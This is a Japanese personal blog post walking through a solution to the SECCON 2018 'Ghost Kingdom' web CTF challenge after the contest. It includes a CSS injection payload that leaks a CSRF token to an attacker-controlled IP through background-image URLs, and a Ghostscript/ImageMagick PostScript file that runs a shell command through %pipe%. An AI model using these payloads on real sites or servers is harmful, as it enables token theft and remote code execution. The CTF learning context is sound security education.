yamakiy’s tech blog

技術系の記事をメインにやります。

SECCON2018 WEB問題

先に申しますが、予選の日付勘違いし期間中に解いてません・・・
終了後ですが、WEB問題を解いていきます

問題の確認

WEBページが用意されていて、そこから値を抜き出す模様 flagは /FLAG/ フォルダに格納されている

ログインしてみると、uploadという項目があり、その利用にはローカルからのログインが必要となってる f:id:yamakiy:20181028181037p:plain

Message to adminから確認

何らかのメッセージを管理者に送っているっぽい f:id:yamakiy:20181028182204p:plain

ためしにemergencyにチェックを入れて次ページへ進むと、URLにcssの指定がありました。
http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=&action=msgadm2

base64っぽいので試しにdecodeしてみる

In [1]: import base64

In [2]: base64.b64decode("c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9")
Out[2]: b'span{background-color:red;color:yellow}'

やはりbase64でencodeされたcssでした。

また、このページ内にcsrfトークンがhidden属性で入っていることを確認

Take a screenshotの確認

中に入るとscreenshotをとる項目があるので、そこを利用してログイン用URLを入れてみると、ローカルネットワークでのログインに成功 f:id:yamakiy:20181028181336p:plain f:id:yamakiy:20181028181709p:plain

ちなみに127.0.0.1とかlocalhostはダメでした f:id:yamakiy:20181028181515p:plain

Message to adminでcss injection

とりあえず手法がわからないため、css injectionでぐぐる
そうすると次のような方法が見つかりました

次のようなcssを仕込む(a~z)

input[name="csrf"][value^="a"]{background-image: url(http://[MyIP]?a)}
input[name="csrf"][value^="a"]{background-image: url(http://[MyIP]?b)}

~~ 中略 ~~

input[name=csrf][value^="z"]{background-image: url(http://[MyIP]?z)}

上記を仕込むと、開始の文字列がMyIPに飛ぶ
例えば、valueがfから始まれば ?f でのアクセスがMyIPに飛ぶ

[ghost IP] - - [28/Oct/2018:19:08:27 +0900] "GET /?f HTTP/1.1" 403 202 "

これを利用すると、csrfvalueがどの文字から始まるかがわかる
後は、順に1文字目、2文字目と求めていくだけ

よくみると数字も含まれている模様
英小文字と数字そうなので、それでパターンを順に試していく

出てきたtokenはこれ

51ba94a1c4c0e8e0841125

これでcookie中のセッションを上書きするとUploade Imageが使えるようになった f:id:yamakiy:20181028201312p:plain

gifへの変換機能を備えた画像アップロード画面が出てくる
ghostMagick.cgiとかいうのが使われているっぽい

調べると、ちょっと前に話題になったimage magickの脆弱性に関係してくる

ここの記事を参考に脆弱性のあるjpegファイルを作ってみる

medium.com

test.jpeg

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls /var/www/html/FLAG/) currentdevice putdeviceprops

これを投げると
FLAGflagF1A8.txtが/FLAG/ フォルダにあることがわかる

後はファイルに直接アクセスすると答えが出ました
SECCON{CSSinjection+GhostScript/ImageMagickRCE}